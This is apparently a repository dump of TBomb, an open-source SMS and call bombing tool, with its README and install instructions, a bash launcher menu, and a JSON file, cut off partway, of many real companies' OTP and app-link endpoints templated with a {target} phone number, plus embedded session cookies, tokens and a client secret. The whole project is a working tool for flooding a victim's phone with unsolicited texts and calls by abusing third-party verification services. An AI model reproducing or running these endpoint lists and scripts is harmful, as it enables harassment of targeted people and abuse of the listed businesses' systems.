A free and open-source SMS/Call bombing application
11 | 12 | ## NOTES: 13 | 14 | 15 | > **Due to the overuse of script, a bunch of APIs have been taken offline. It is okay if you do not receive all the messages.** 16 | 17 | > **Termux version from Play Store is not supported since 2019, please use the latest version from F-Droid Store!** 18 | 19 | 20 | - The application requires active internet connection to contact the APIs 21 | - You would not be charged for any SMS/calls dispatched as a consequence of this script 22 | - For best performance, use single thread with considerable delay time 23 | - Always ensure that you are using the latest version of TBomb and have Python 3 24 | - This application must not be used to cause harm/discomfort/trouble to others 25 | - By using this, you agree that you cannot hold the contributors responsible for any misuse 26 | 27 | ## Compatibility 28 | Check your Python version by typing in 29 | ```shell script 30 | $ python --version 31 | ``` 32 | If you get the following 33 | ```shell script 34 | Python 3.8.3 35 | ``` 36 | or any version greater than or equal to 3.4, this script has been tested and confirmed to be supported. For obsolete versions of Python (eg 2.7), use discretion while executing the script as it has not been tested there. 37 | 38 | ## Features 39 | 40 | - Over 15 integrated messaging and calling APIs included with JSON 41 | - Unlimited (with abuse protection) and super-fast bombing with multithreading 42 | - Possibility of international API support (APIs are offline) 43 | - Flexible with addition of newer APIs with the help of JSON documents 44 | - Actively supported by the developers with frequent updates and bug-fixes 45 | - Intuitive auto-update feature and notification fetch feature included 46 | - Recently made free and open-source for community contributions 47 | - Modular codebase and snippets can be easily embedded in other program 48 | 49 | 50 | ## Usage: 51 | 52 | ### Install by PIP (Recommended) 53 | 54 | Before continuing make sure following requirements are satisfied: 55 | 56 | - Python version greater than or equal to 3.4 is installed 57 | - pip is installed for Python 3 58 | 59 | Install `tbomb` package by running: 60 | 61 | ```shell script 62 | pip3 install tbomb 63 | ``` 64 | 65 | Run TBomb by just typing: 66 | ```shell script 67 | tbomb 68 | ``` 69 | 70 | ### Install from GIT 71 | 72 | #### NOTE 73 | 74 | Git installation methods are not universal and are likely to differ between distributions so installing Git as per the given instructions below may not work. Please check out how to install Git for your Linux distribution [here](https://git-scm.com/). Commands below provide instructions for Debian-based systems. 75 | 76 | >Running `TBomb.sh` as sudo miscofigures files ownership. It is recommended not to run it as sudo 77 | 78 | Run these commands to clone and run TBomb. 79 | 80 | #### For Termux 81 | 82 | To use the bomber type the following commands in Termux: 83 | ```shell script 84 | pkg install git -y 85 | pkg install python -y 86 | git clone https://github.com/TheSpeedX/TBomb.git 87 | cd TBomb 88 | ./TBomb.sh 89 | ``` 90 | 91 | #### For iSH 92 | 93 | To use the application, type in the following commands in iSH. 94 | ```shell script 95 | apk add git 96 | apk add python3 97 | apk add py3-pip 98 | apk add ruby 99 | gem install toilet 100 | git clone https://github.com/TheSpeedX/TBomb.git 101 | cd TBomb 102 | pip3 install -r requirements.txt 103 | chmod +x TBomb.sh 104 | ./TBomb.sh 105 | ``` 106 | 107 | #### For Debian-based GNU/Linux distributions 108 | 109 | To use the application, type in the following commands in GNU/Linux terminal. 110 | ```shell script 111 | sudo apt install git 112 | git clone https://github.com/TheSpeedX/TBomb.git 113 | cd TBomb 114 | bash TBomb.sh 115 | ``` 116 | 117 | #### For MacOS 118 | 119 | To use the application, type in the following commands in MacOS terminal: 120 | 121 | ##### Install via Homebrew 122 | 123 | ```shell script 124 | /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" 125 | ```` 126 | 127 | ##### Install dependencies: 128 | 129 | ```shell script 130 | brew install git 131 | brew install python3 132 | sudo easy_install pip 133 | sudo pip install --upgrade pip 134 | git clone https://github.com/TheSpeedX/TBomb.git 135 | cd TBomb 136 | bash TBomb.sh 137 | ``` 138 | 139 | 140 | ##### Missing Tools on MacOS 141 | 142 | The package `toilet` cannot be installed yet on macOS. But TBomb does still work. 143 | 144 | ### Demonstrative Video: 145 | 146 | - Watch Indian Bombing Method [here](https://youtu.be/9KWkwsr_QGw) 147 | - Watch International Bombing Method [here](https://youtu.be/JqsHkyIcnPM). 148 | 149 | ## Contributors 150 | 151 | - Catch **[t0xic0der](https://github.com/t0xic0der)** at https://atlasdoc.netlify.app 152 | - Check **[Avinash](https://github.com/AvinashReddy3108)** at https://github.com/AvinashReddy3108 153 | - Mail **[scpketer](https://github.com/scpketer)** at scpketer@protonmail.ch 154 | - Mail **[0n1cOn3](https://github.com/0n1cOn3)** at 0n1cOn3@gmx.ch 155 | - Ping **Rieltar** at https://t.me/RieltarReborn 156 | - Check **[Bishal](https://github.com/kbshal)** at https://github.com/kbshal 157 | 158 | 159 | ### Donators: 160 | 161 | - **[34D30Y](34db0y@protonmail.com)** 162 | - **SC AMAN** 163 | 164 | ### TODO: 165 | 166 | - [x] Make Code More Readable and Extensible 167 | - [ ] Add More Mail Spam APIs 168 | - [ ] Add More SMS Spam APIs 169 | - [ ] Add More Call Spam APIs 170 | - [ ] Resolve threading issue in some devices 171 | 172 | ## FAQ 173 | 174 | **Q:** Is there any TBomb Website/App ? 175 | 176 | **A:** There is no official website/app yet.The only official releases of TBomb are published in [Github](https://github.com/TheSpeedX/TBomb) and [PyPi](https://pypi.org/project/tbomb) 177 | ## 178 | **Q:** Poor Internet Connection Detected: 179 | 180 | **A:** Here are a few stuff you can try: 181 | - Check your connection. 182 | - Make sure `openssl` is installed. 183 | - Try to `ping` any remote site/address to be sure. 184 | - Try to reinstall if nothing works. 185 | ## 186 | **Q:** Do you support "X" Country? 187 | 188 | **A:** Most Countries are supported for SMS and only India for calls. The SMS delivery rate might be different for different countries. 189 | ## 190 | **Q:** Can you add support for "X" Country? 191 | 192 | **A:** We do what we can, but we cannot promise. Please stay tuned for future support. If you are ready to help then maybe we can do faster. 193 | ## 194 | **Q:** Why is the limit so low? 195 | 196 | **A:** Due the amount of requests, the APIs can die. To prevent a bigger outtake of TBomb, it has been limited. 197 | ## 198 | **Q:** Help, I got the error that the requirements aren't installed, even when the installer has successfully reached the main menu 199 | 200 | **A:** First, make sure `python3` and `pip3` are installed. 201 | - The Easy Method: 202 | `pip3 install tbomb` 203 | Then execute by simply running `tbomb` 204 | - The Git Method: 205 | Clone the repo and Switch to the TBomb Directory and execute this command: 206 | `pip3 install -r requirements.txt` 207 | ## 208 | **Q:** Help, It says `command 'tbomb' not found` after installing PIP version! 209 | 210 | **A:** Try running `sudo pip3 install tbomb` 211 | ## 212 | **Q:** Help, I can't execute TBomb.sh! 213 | 214 | **A:** Run TBomb Directly with `python3 bomber.py` 215 | ## 216 | **Q:** Should I use VPN? 217 | 218 | **A:** No, If you are facing high fail rate as TBomb can fail due the high response time or API restrictions. 219 | ## 220 | **Q:** How to get protection ? 221 | 222 | **A:** Use OTP blockers and activate DND. 223 | ## 224 | **Q:** Why does it fail? 225 | 226 | **A:** Due to the overuse of script, a bunch of APIs have been taken offline. It is okay if you do not receive all the messages. 227 | ## 228 | ### Support 229 | 230 | For Queries: [Telegram Group](https://t.me/TBombChat) 231 | Contributions, issues, and feature requests are welcome! 232 | Give a ★ if you like this project! 233 | 234 |Last FAQ Update: 08.08.2021
235 | -------------------------------------------------------------------------------- /TBomb.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | detect_distro() { 4 | if [[ "$OSTYPE" == linux-android* ]]; then 5 | distro="termux" 6 | fi 7 | 8 | if [ -z "$distro" ]; then 9 | distro=$(ls /etc | awk 'match($0, "(.+?)[-_](?:release|version)", groups) {if(groups[1] != "os") {print groups[1]}}') 10 | fi 11 | 12 | if [ -z "$distro" ]; then 13 | if [ -f "/etc/os-release" ]; then 14 | distro="$(source /etc/os-release && echo $ID)" 15 | elif [ "$OSTYPE" == "darwin" ]; then 16 | distro="darwin" 17 | else 18 | distro="invalid" 19 | fi 20 | fi 21 | } 22 | 23 | pause() { 24 | read -n1 -r -p "Press any key to continue..." key 25 | } 26 | banner() { 27 | clear 28 | echo -e "\e[1;31m" 29 | if ! [ -x "$(command -v figlet)" ]; then 30 | echo 'Introducing TBomb' 31 | else 32 | figlet TBomb 33 | fi 34 | if ! [ -x "$(command -v toilet)" ]; then 35 | echo -e "\e[4;34m This Bomber Was Created By \e[1;32mSpeedX \e[0m" 36 | else 37 | echo -e "\e[1;34mCreated By \e[1;34m" 38 | toilet -f mono12 -F border SpeedX 39 | fi 40 | echo -e "\e[1;34m For Any Queries Join Me!!!\e[0m" 41 | echo -e "\e[1;32m Telegram: https://t.me/TBombChat \e[0m" 42 | echo -e "\e[4;32m YouTube: https://www.youtube.com/c/SpeedXTech \e[0m" 43 | echo " " 44 | echo "NOTE: Kindly move to the PIP version Of TBomb for more stability." 45 | echo " " 46 | } 47 | 48 | init_environ(){ 49 | declare -A backends; backends=( 50 | ["arch"]="pacman -S --noconfirm" 51 | ["debian"]="apt-get -y install" 52 | ["ubuntu"]="apt -y install" 53 | ["termux"]="apt -y install" 54 | ["fedora"]="yum -y install" 55 | ["redhat"]="yum -y install" 56 | ["SuSE"]="zypper -n install" 57 | ["sles"]="zypper -n install" 58 | ["darwin"]="brew install" 59 | ["alpine"]="apk add" 60 | ) 61 | 62 | INSTALL="${backends[$distro]}" 63 | 64 | if [ "$distro" == "termux" ]; then 65 | PYTHON="python" 66 | SUDO="" 67 | else 68 | PYTHON="python3" 69 | SUDO="sudo" 70 | fi 71 | PIP="$PYTHON -m pip" 72 | } 73 | 74 | install_deps(){ 75 | 76 | packages=(openssl git $PYTHON $PYTHON-pip figlet toilet) 77 | if [ -n "$INSTALL" ];then 78 | for package in ${packages[@]}; do 79 | $SUDO $INSTALL $package 80 | done 81 | $PIP install -r requirements.txt 82 | else 83 | echo "We could not install dependencies." 84 | echo "Please make sure you have git, python3, pip3 and requirements installed." 85 | echo "Then you can execute bomber.py ." 86 | exit 87 | fi 88 | } 89 | 90 | banner 91 | pause 92 | detect_distro 93 | init_environ 94 | if [ -f .update ];then 95 | echo "All Requirements Found...." 96 | else 97 | echo 'Installing Requirements....' 98 | echo . 99 | echo . 100 | install_deps 101 | echo This Script Was Made By SpeedX > .update 102 | echo 'Requirements Installed....' 103 | pause 104 | fi 105 | while : 106 | do 107 | banner 108 | echo -e "\e[4;31m Please Read Instruction Carefully !!! \e[0m" 109 | echo " " 110 | echo "Press 1 To Start SMS Bomber " 111 | echo "Press 2 To Start CALL Bomber " 112 | echo "Press 3 To Start MAIL Bomber (Not Yet Available)" 113 | echo "Press 4 To Update (Works On Linux And Linux Emulators) " 114 | echo "Press 5 To Exit " 115 | read ch 116 | clear 117 | if [ $ch -eq 1 ];then 118 | $PYTHON bomber.py --sms 119 | exit 120 | elif [ $ch -eq 2 ];then 121 | $PYTHON bomber.py --call 122 | exit 123 | elif [ $ch -eq 3 ];then 124 | $PYTHON bomber.py --mail 125 | exit 126 | elif [ $ch -eq 4 ];then 127 | echo -e "\e[1;34m Downloading Latest Files..." 128 | rm -f .update 129 | $PYTHON bomber.py --update 130 | echo -e "\e[1;34m RUN TBomb Again..." 131 | pause 132 | exit 133 | elif [ $ch -eq 5 ];then 134 | banner 135 | exit 136 | else 137 | echo -e "\e[4;32m Invalid Input !!! \e[0m" 138 | pause 139 | fi 140 | done 141 | -------------------------------------------------------------------------------- /apidata.json: -------------------------------------------------------------------------------- 1 | { 2 | "contributors": [ 3 | "TheSpeedX", 4 | "Avinash", 5 | "Reiltar", 6 | "ItzAnasov" 7 | ], 8 | "version": "2.3.5", 9 | "sms": { 10 | 11 | "218": [ 12 | { 13 | "name": "3Via", 14 | "method": "POST", 15 | "url": "https://3via.ly/api/client/login", 16 | "data": { 17 | "msisdn": "{target}", 18 | "device_type": "web" 19 | }, 20 | "identifier": "Otp Sent successfully" 21 | }, 22 | { 23 | "name": "Winmore", 24 | "method": "POST", 25 | "url": "https://winmore.ly/api/p10/public/get_started", 26 | "data": { 27 | "phone": "{target}", 28 | "countryCode": "ly", 29 | "language": "en", 30 | "utm": {} 31 | }, 32 | "identifier": "SUBSCRIBED" 33 | }, 34 | { 35 | "name": "Lingo", 36 | "method": "POST", 37 | "url": "https://lingo.ly/api/client/login", 38 | "data": { 39 | "msisdn": "{target}" 40 | }, 41 | "identifier": "OTP Sended successfully" 42 | }, 43 | { 44 | "name": "Bekam", 45 | "method": "POST", 46 | "url": "https://bekam.ly/api/client/login", 47 | "data": { 48 | "msisdn": "{target}" 49 | }, 50 | "identifier": "OTP Send Successfully" 51 | } 52 | ], 53 | 54 | "977":[ 55 | { 56 | "name":"Daraz Nepal", 57 | "method":"POST", 58 | "url":"https://member.daraz.com.np/user/api/sendVerificationSms", 59 | "data":{ 60 | "phone":"{target}", 61 | "type":"OTP_REGISTER", 62 | "lzdAppVersion":"1.0", 63 | "X-CSRF-TOKEN":"57343b8557abe", 64 | "ncToken":{ 65 | "csessionid":"01c5Cm2zXRNC4HBmgowjSMgdDZs8R8_HiarjNJvQVNRQBo-5zZpCcc-Zj0iwNLRAPi_SACvQ7y0gh3d0xIxWmtGGCPTxLVPmFVWgNrJfbz2ImfJ101mR7baXTMfdORIfsfpQW4fdLsxshenbUQO8lwb2sGKUvcuMnbQ2Vij1rs8Mc", 66 | "sig":"05zgTBSfCmaRhumYWJquIqH4hNnR97lsAI6h-TpDtXOlYgRSytFdmbAkXULTnXVAqXcR0WS1oEGjtfSXCpSmdPvM2zI7hQmE8MbniWbliwF_AqYl5HflEiG6vbAxHSztx4Y30K7LLjCSmwr25R327f9PlS1AeWd_f-1vm-K7e2UVHuSDCV-8-LXtZvs7hfhYwX3glWz1VuFC8gyZO6s6WwGtvX9_6OryBXnVj9xRJFLoJXiHKzK6kL5OBYn5cQocuyd-YE5qz7FT1nhV-OJd30HTjTYD_eB26UgWPKnOoMkN3rSGI_cWYQapqRr3-XtxG_M0qLZNkARUbI0nFbC1WM2k5y_SDbfOIiD0qmkYq8epRNmn6YVyee4-6qNCP0-9du", 67 | "token":"QPXW:1638536554908:0.22529358478093664" 68 | 69 | } 70 | 71 | }, 72 | "headers":{ 73 | "X-CSRF-TOKEN":"57343b8557abe", 74 | "X-Requested-With":"XMLHttpRequest", 75 | "Origin":"https://member.daraz.com.np", 76 | "Referer":"https://member.daraz.com.np/user/register?spm=a2a0e.11779170.header.d6.287d2d2beUgUDG", 77 | "Cookie":"client_type=desktop; client_type=desktop; _uab_collina=163853655435166285176039; lzd_cid=513a1bfc-2422-443b-a785-b718cc4b9a97; t_uid=513a1bfc-2422-443b-a785-b718cc4b9a97; lzd_sid=1596976611e993378a7e8712bff593d8; _tb_token_=57343b8557abe; _m_h5_tk=1c359c412628e741d8061af8066b2786_1638546612338; _m_h5_tk_enc=e71f083e08aaac3c4656dbba4fd7f267; isg=BEtLmd06rrjcufJsuCw24ji_2e014F9iHdagY71JZQrh3Gg-T7Kks5c6tkQyZ7da; tfstk=cB9GBQ6Rp3UMVTcFeA66vxJtL30RaIwNzw7vLLlMF-gfer9CYs4QT7u8fSbZxvVf.; l=eBrDzCmggn-qWMsvBO5aourza779ZIOV1kPzaNbMiInca10P1Fsy9NCdbwDvRdtfQt5egUxP5OXRad3J5AU3-xT1-ak8mCOkJNJwRe1..; hng=NP|en-NP|NPR|524; xlly_s=1; t_fv=1638536534080; t_sid=sbjEWPRZmRzmrSChohIqKSi2jwleaEFn; utm_channel=NA; cna=VwMxGpE/lgsCAWejtvLLeM0O; daraz-marketing-tracker=hide; _gcl_au=1.1.666631300.1638536536; _ga_GEHLHHEXPG=GS1.1.1638536535.1.1.1638536561.0; _ga=GA1.1.1688897274.1638536536; _gid=GA1.3.38778064.1638536537; _fbp=fb.2.1638536539279.1824638069; cto_bundle=V_3F-18lMkZ4WVc4SUpEJTJGaXhxdkxMYVZYUmRNajFEV2ttODhPYUc2R2FnN2IwYVNjS3ZqSWI4RmpIbDN0dHdlT0E4QXlZN3dqd1pPbGJmbzdMWW9DVkVETzJaamd4eHlCUXhaNW1lTUQ0MEVuJTJGemFFVUVxUjdRemhnVlF2MFU3bmZKTGF4WU1FclJzVTV3cmFNZVh6d2hIcTJGd2clM0QlM0Q; G_ENABLED_IDPS=google; _ga=GA1.4.1688897274.1638536536; _gid=GA1.4.38778064.1638536537; _bl_uid=sgk9Uwm2qwgektdj777qdz3iym33" 78 | 79 | }, 80 | "identifier":"\"notSuccess\":false" 81 | 82 | }, 83 | { 84 | "name":"Clamphook", 85 | "method":"POST", 86 | "url":"https://backend.clamphook.com//auth/register", 87 | "json":{ 88 | "mobile":"{cc}-{target}" 89 | }, 90 | "headers":{ 91 | "Host":"backend.clamphook.com", 92 | "Origin":"https://clamphook.com", 93 | "Referer":"https://clamphook.com/", 94 | "Sec-Fetch-Mode":"cors" 95 | }, 96 | "identifier":"\"success\":true" 97 | 98 | } 99 | 100 | ], 101 | 102 | "91": [ 103 | { 104 | "name": "confirmtkt", 105 | "method": "GET", 106 | "url": "https://securedapi.confirmtkt.com/api/platform/register", 107 | "params": { 108 | "newOtp": "true", 109 | "mobileNumber": "{target}" 110 | }, 111 | "identifier": "false" 112 | }, 113 | { 114 | "name": "justdial", 115 | "method": "GET", 116 | "url": "https://t.justdial.com/api/india_api_write/18july2018/sendvcode.php", 117 | "params": { 118 | "mobile": "{target}" 119 | }, 120 | "identifier": "sent" 121 | }, 122 | { 123 | "name": "allensolly", 124 | "method": "POST", 125 | "url": "https://www.allensolly.com/capillarylogin/validateMobileOrEMail", 126 | "data": { 127 | "mobileoremail": "{target}", 128 | "name": "markluther" 129 | }, 130 | "identifier": "true" 131 | }, 132 | { 133 | "name": "frotels", 134 | "method": "POST", 135 | "url": "https://www.frotels.com/appsendsms.php", 136 | "data": { 137 | "mobno": "{target}" 138 | }, 139 | "identifier": "sent" 140 | }, 141 | { 142 | "name": "gapoon", 143 | "method": "POST", 144 | "url": "https://www.gapoon.com/userSignup", 145 | "data": { 146 | "mobile": "{target}", 147 | "email": "noreply@gmail.com", 148 | "name": "LexLuthor" 149 | }, 150 | "identifier": "1" 151 | }, 152 | { 153 | "name": "housing", 154 | "method": "POST", 155 | "url": "https://login.housing.com/api/v2/send-otp", 156 | "data": { 157 | "phone": "{target}" 158 | }, 159 | "identifier": "Sent" 160 | }, 161 | { 162 | "name": "porter", 163 | "method": "POST", 164 | "url": "https://porter.in/restservice/send_app_link_sms", 165 | "data": { 166 | "phone": "{target}", 167 | "referrer_string": "", 168 | "brand": "porter" 169 | }, 170 | "identifier": "true" 171 | }, 172 | { 173 | "name": "cityflo", 174 | "method": "POST", 175 | "url": "https://cityflo.com/website-app-download-link-sms/", 176 | "data": { 177 | "mobile_number": "{target}" 178 | }, 179 | "identifier": "sent" 180 | }, 181 | { 182 | "name": "nnnow", 183 | "method": "POST", 184 | "url": "https://api.nnnow.com/d/api/appDownloadLink", 185 | "data": { 186 | "mobileNumber": "{target}" 187 | }, 188 | "identifier": "true" 189 | }, 190 | { 191 | "name": "ajio", 192 | "method": "POST", 193 | "url": "https://login.web.ajio.com/api/auth/signupSendOTP", 194 | "data": { 195 | "firstName": "xxps", 196 | "login": "wiqpdl223@wqew.com", 197 | "password": "QASpw@1s", 198 | "genderType": "Male", 199 | "mobileNumber": "{target}", 200 | "requestType": "SENDOTP" 201 | }, 202 | "identifier": "1" 203 | }, 204 | { 205 | "name": "happyeasygo", 206 | "method": "GET", 207 | "url": "https://www.happyeasygo.com/heg_api/user/sendRegisterOTP.do", 208 | "params": { 209 | "phone": "91%20{target}" 210 | }, 211 | "identifier": "true" 212 | }, 213 | { 214 | "name": "unacademy", 215 | "method": "POST", 216 | "url": "https://unacademy.com/api/v1/user/get_app_link/", 217 | "data": { 218 | "phone": "{target}" 219 | }, 220 | "identifier": "sent" 221 | }, 222 | { 223 | "name": "treebo", 224 | "method": "POST", 225 | "url": "https://www.treebo.com/api/v2/auth/login/otp/", 226 | "data": { 227 | "phone_number": "{target}" 228 | }, 229 | "identifier": "sent" 230 | }, 231 | { 232 | "name": "airtel", 233 | "method": "GET", 234 | "url": "https://www.airtel.in/referral-api/core/notify", 235 | "params": { 236 | "messageId": "map", 237 | "rtn": "{target}" 238 | }, 239 | "identifier": "Success" 240 | }, 241 | { 242 | "name": "pharmeasy", 243 | "method": "POST", 244 | "url": "https://pharmeasy.in/api/auth/requestOTP", 245 | "json": { 246 | "contactNumber": "{target}" 247 | }, 248 | "identifier": "resendSmsCounter" 249 | }, 250 | { 251 | "name": "mylescars", 252 | "method": "POST", 253 | "url": "https://www.mylescars.com/usermanagements/chkContact", 254 | "data": { 255 | "contactNo": "{target}" 256 | }, 257 | "identifier": "success@::::" 258 | }, 259 | { 260 | "name": "grofers", 261 | "method": "POST", 262 | "url": "https://grofers.com/v2/accounts/", 263 | "data": { 264 | "user_phone": "{target}" 265 | }, 266 | "headers": { 267 | "auth_key": "3f0b81a721b2c430b145ecb80cfdf51b170bf96135574e7ab7c577d24c45dbd7" 268 | }, 269 | "identifier": "We have sent" 270 | }, 271 | { 272 | "name": "dream11", 273 | "method": "POST", 274 | "url": "https://api.dream11.com/sendsmslink", 275 | "data": { 276 | "siteId": "1", 277 | "mobileNum": "{target}", 278 | "appType": "androidfull" 279 | }, 280 | "identifier": "true" 281 | }, 282 | { 283 | "name": "cashify", 284 | "method": "GET", 285 | "url": "https://www.cashify.in/api/cu01/v1/app-link", 286 | "params": { 287 | "mn": "{target}" 288 | }, 289 | "identifier": "Successfully" 290 | }, 291 | { 292 | "name": "paytm", 293 | "method": "POST", 294 | "url": "https://commonfront.paytm.com/v4/api/sendsms", 295 | "data": { 296 | "phone": "{target}", 297 | "guid": "2952fa812660c58dc160ca6c9894221d" 298 | }, 299 | "identifier": "202" 300 | }, 301 | { 302 | "name": "kfc-in", 303 | "method": "POST", 304 | "url": "https://online.kfc.co.in/OTP/ResendOTPToPhoneForLogin", 305 | "headers": { 306 | "Referer": "https://online.kfc.co.in/login", 307 | "__RequestVerificationToken": "-zoQqa7WNa3z-mwOyqWHvcyYkCqYv0h7zqNUAqBivokB75ZiDj-LwQsGk4kB8QextV396CRJxxPAsWXfwYMoPFhMVlQBd1V0ONFeIrpj2C81:ub34fZv2vHPnub-TuF-vkK4rAkfKmIgnZFscecZJ3-kzvRU9CktNjLyLOCFNsixxFGbotqULbV41iHU2K-G0Aoqd4P4MQqIsjJm8tFkZga01" 308 | }, 309 | "json": { 310 | "AuthorizedFor": "3", 311 | "phoneNumber": "{target}", 312 | "Resend": "false" 313 | }, 314 | "identifier": "true" 315 | }, 316 | { 317 | "name": "indialends", 318 | "method": "POST", 319 | "url": "https://indialends.com/internal/a/mobile-verification_v2.ashx", 320 | "cookies": { 321 | "_ga": "GA1.2.1483885314.1559157646", 322 | "_fbp": "fb.1.1559157647161.1989205138", 323 | "TiPMix": "91.9909185226964", 324 | "gcb_t_track": "SEO - Google", 325 | "gcb_t_keyword": "", 326 | "gcb_t_l_url": "https://www.google.com/", 327 | "gcb_utm_medium": "", 328 | "gcb_utm_campaign": "", 329 | "ASP.NET_SessionId": "ioqkek5lbgvldlq4i3cmijcs", 330 | "web_app_landing_utm_source": "", 331 | "web_app_landing_url": "/personal-loan", 332 | "webapp_landing_referral_url": "https://www.google.com/", 333 | "ARRAffinity": "747e0c2664f5cb6179583963d834f4899eee9f6c8dcc773fc05ce45fa06b2417", 334 | "_gid": "GA1.2.969623705.1560660444", 335 | "_gat": "1", 336 | "current_url": "https://indialends.com/personal-loan", 337 | "cookies_plbt": "0" 338 | }, 339 | "headers": { 340 | "Referer": "https://indialends.com/personal-loan" 341 | }, 342 | "data": { 343 | "aeyder03teaeare": "1", 344 | "ertysvfj74sje": "{cc}", 345 | "jfsdfu14hkgertd": "{target}", 346 | "lj80gertdfg": "0" 347 | }, 348 | "identifier": "1" 349 | } 350 | ], 351 | "multi": [ 352 | { 353 | "name": "flipkart", 354 | "method": "POST", 355 | "cc_target": "loginId", 356 | "url": "https://www.flipkart.com/api/5/user/otp/generate", 357 | "data": { 358 | "loginId": "+{target}" 359 | }, 360 | "headers": { 361 | "X-user-agent": "Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0 FKUA/website/41/website/Desktop", 362 | "Origin": "https://www.flipkart.com", 363 | "Content-Type": "application/x-www-form-urlencoded" 364 | }, 365 | "identifier": "emailMask" 366 | }, 367 | { 368 | "name": "qlean", 369 | "method": "POST", 370 | "url": "https://qlean.ru/clients-api/v2/sms_codes/auth/request_code", 371 | "data": { 372 | "phone": "{cc}{target}" 373 | }, 374 | "identifier": "request_id" 375 | }, 376 | { 377 | "name": "mailru", 378 | "method": "POST", 379 | "url": "https://cloud.mail.ru//api/v2/notify/applink", 380 | "data": { 381 | "phone": "+{cc}{target}", 382 | "api": "2", 383 | "email": "email", 384 | "x-email": "x-email" 385 | }, 386 | "identifier": "200" 387 | }, 388 | { 389 | "name": "tinder", 390 | "method": "POST", 391 | "url": "https://api.gotinder.com/v2/auth/sms/send", 392 | "params": { 393 | "auth_type": "sms", 394 | "locale": "ru" 395 | }, 396 | "data": { 397 | "phone_number": "{cc}{target}" 398 | }, 399 | "identifier": "200" 400 | }, 401 | { 402 | "name": "youla", 403 | "method": "POST", 404 | "url": "https://youla.ru/web-api/auth/request_code", 405 | "data": { 406 | "phone": "+{cc}{target}" 407 | }, 408 | "identifier": ":6" 409 | }, 410 | { 411 | "name": "ivi", 412 | "method": "POST", 413 | "url": "https://api.ivi.ru/mobileapi/user/register/phone/v6", 414 | "data": { 415 | "phone": "{cc}{target}" 416 | }, 417 | "identifier": "true" 418 | }, 419 | { 420 | "name": "delitime", 421 | "method": "POST", 422 | "url": "https://api.delitime.ru/api/v2/signup", 423 | "data": { 424 | "SignupForm[username]": "{cc}{target}", 425 | "SignupForm[device_type]": "3" 426 | }, 427 | "identifier": "true" 428 | }, 429 | { 430 | "name": "icq", 431 | "method": "POST", 432 | "url": "https://www.icq.com/smsreg/requestPhoneValidation.php", 433 | "data": { 434 | "msisdn": "{cc}{target}", 435 | "locale": "en", 436 | "k": "ic1rtwz1s1Hj1O0r", 437 | "r": "45559" 438 | }, 439 | "identifier": "200" 440 | }, 441 | { 442 | "name": "ivitv", 443 | "method": "POST", 444 | "url": "https://api.ivi.ru/mobileapi/user/register/phone/v6/", 445 | "data": { 446 | "phone": "{cc}{target}", 447 | "device": "Windows+v.43+Chrome+v.7453451", 448 | "app_version": "870" 449 | }, 450 | "identifier": "true" 451 | }, 452 | { 453 | "name": "indialends", 454 | "method": "POST", 455 | "url": "https://indialends.com/internal/a/mobile-verification_v2.ashx", 456 | "cookies": { 457 | "_ga": "GA1.2.1483885314.1559157646", 458 | "_fbp": "fb.1.1559157647161.1989205138", 459 | "TiPMix": "91.9909185226964", 460 | "gcb_t_track": "SEO - Google", 461 | "gcb_t_keyword": "", 462 | "gcb_t_l_url": "https://www.google.com/", 463 | "gcb_utm_medium": "", 464 | "gcb_utm_campaign": "", 465 | "ASP.NET_SessionId": "ioqkek5lbgvldlq4i3cmijcs", 466 | "web_app_landing_utm_source": "", 467 | "web_app_landing_url": "/personal-loan", 468 | "webapp_landing_referral_url": "https://www.google.com/", 469 | "ARRAffinity": "747e0c2664f5cb6179583963d834f4899eee9f6c8dcc773fc05ce45fa06b2417", 470 | "_gid": "GA1.2.969623705.1560660444", 471 | "_gat": "1", 472 | "current_url": "https://indialends.com/personal-loan", 473 | "cookies_plbt": "0" 474 | }, 475 | "headers": { 476 | "Referer": "https://indialends.com/personal-loan" 477 | }, 478 | "data": { 479 | "aeyder03teaeare": "1", 480 | "ertysvfj74sje": "{cc}", 481 | "jfsdfu14hkgertd": "{target}", 482 | "lj80gertdfg": "0" 483 | }, 484 | "identifier": "1" 485 | }, 486 | { 487 | "name": "redbus", 488 | "method": "GET", 489 | "url": "https://m.redbus.in/api/getOtp", 490 | "params": { 491 | "number": "{target}", 492 | "cc": "{cc}", 493 | "whatsAppOpted": false 494 | }, 495 | "identifier": "200" 496 | }, 497 | { 498 | "name": "newtonschools", 499 | "method": "POST", 500 | "url": "https://my.newtonschool.co:443/api/v1/user/otp/", 501 | "params": { 502 | "registration": true 503 | }, 504 | "data": { 505 | "phone": "+{cc}{target}" 506 | }, 507 | "identifier": "S003" 508 | }, 509 | { 510 | "name": "qiwi", 511 | "method": "POST", 512 | "url": "https://mobile-api.qiwi.com/oauth/authorize", 513 | "data": { 514 | "response_type": "urn:qiwi:oauth:response-type:confirmation-id", 515 | "username": "{cc}{target}", 516 | "client_id": "android-qw", 517 | "client_secret": "zAm4FKq9UnSe7id" 518 | }, 519 | "identifier": "confirmation_id" 520 | } 521 | ] 522 | }, 523 | "call": { 524 | "91": [ 525 | { 526 | "name": "makaan", 527 | "method": "GET", 528 | "url": "https://www.makaan.com/apis/nc/sendOtpOnCall/16257065/{target}", 529 | "params": { 530 | "callType": "otpOnCall" 531 | }, 532 | "identifier": "2XX" 533 | }, 534 | { 535 | "name": "realestate", 536 | "method": "POST", 537 | "url": "https://www.realestateindia.com/mobile-script/indian_mobile_verification_form.php", 538 | "headers": { 539 | "x-requested-with": "XMLHttpRequest", 540 | "referer": "https://www.realestateindia.com/thanks.php?newreg" 541 | }, 542 | "cookies": { 543 | "visitedToken": "176961560836367" 544 | }, 545 | "params": { 546 | "sid": "0.5983221395805354" 547 | }, 548 | "data": { 549 | "action_id": "call_to_otp", 550 | "mob_num": "{target}", 551 | "member_id": "1547045" 552 | }, 553 | "identifier": "Y" 554 | }, 555 | { 556 | "name": "magicbricks", 557 | "method": "GET", 558 | "url": "https://api.magicbricks.com/bricks/verifyOnCall.html", 559 | "params": { 560 | "mobile": "{target}" 561 | }, 562 | "identifier": "callmade" 563 | }, 564 | { 565 | "name": "career360", 566 | "method": "POST", 567 | "url": "https://www.careers360.com/ajax/no-cache/user/otp-send", 568 | "cookies": { 569 | "_gcl_au": "1.1.1168325424.1600579108", 570 | "WZRK_G": "4584ba1e8345400d92392a88464c9183", 571 | "__asc": "ce35392c174a9f2fbe2f2c29a0c", 572 | "__auc": 